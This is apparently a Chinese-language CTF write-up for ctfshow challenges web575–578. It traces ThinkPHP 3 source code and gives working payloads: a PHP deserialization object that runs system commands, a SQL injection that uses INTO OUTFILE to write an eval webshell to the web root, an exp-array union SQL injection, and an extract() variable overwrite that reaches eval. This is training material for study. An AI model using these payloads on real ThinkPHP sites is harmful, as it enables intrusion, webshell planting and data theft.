目录
web575
源码:
经过之前的分析,show() 这个方法可以执行php代码,所以控制$user->username
就可以任意命令执行。
这里是从cookie里读user键对应的值进行反序列化,并将实例化对象与传入的id比较,如果id属性与传入的id相等,则show方法调用底层的eval执行实例化对象的username属性。
我们只要随便找个tp3的类,写入两个属性即可
<?php
namespace Think;
class Image{
public $id='1';
public $username="<?php system('tac /f*');?>";
}
echo base64_encode(serialize(new Image));
这里我找的是Image类
这里要注意的是,
PHP 反序列化的前提是必须要有序列化对应的类定义。当你使用 serialize()
函数将一个对象序列化为字符串时,包含了该对象的类名和属性信息。
在进行反序列化时,PHP 将尝试根据序列化字符串中的类名来加载相应的类定义。如果无法找到对应的类定义或类文件不存在,反序列化操作将会失败。
因此,确保在进行反序列化之前,你需要确保序列化的类定义存在,并且能够被自动加载或手动引入。否则,反序列化操作会抛出错误。
代码运行结果
payload:
web576
源码:
跟一下comment()
就是给options['comment']赋值为$id
继续跟find()到底层select()再到parseSql()
跟parseComment()
发现就是一个拼接,用*/闭合即可
尝试payload:
?id=1*/ or 1=1%23
报错得知是limit后的注入点
贴出p牛神文
这里我们用后者即可
INTO OUTFILE
指示将数据写入到文件中,后面跟着需要写入的文件路径。LINES STARTING BY
则指定了写入的内容以 <?php eval($_POST[1]);?>
开头
payload:
?id=1*/into outfile "/var/www/html/Z3r4y.php" LINES STARTING BY '<?php eval($_POST[1]);?>'%23
访问写马文件,直接RCE
post:1=system('tac /f*');
web577
源码:
这次where()里直接传了一个数组,省得走if将字符串的值再改为_string的数组了。
直接看select()
常规跟进parsewhere()
因为传入的数组键中不含_,所以进入到下列判断
跟进parseWhereItem()
发现只要传入的数组的值也是个数组就可以进行exp注入
而传入的$id是我们可控的
最终payload:
?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
拼接结果:select * from users where `id` =-1 union select 1,group_concat(flag4s),3,4 from flags
web578
跟进assign()
这里就是把$from 赋值给tVar[$name]
跟一下display()
看见了熟悉的fetch()
跟进fetch()
利用extract()让tVar=array('$name'=>'$from')实现变量覆盖
这里令$name=_content,$from=写的马即可让$_content非空,从而eval()执行php代码
最终payload:
?name=_content&from=<?php system("cat /f*")?>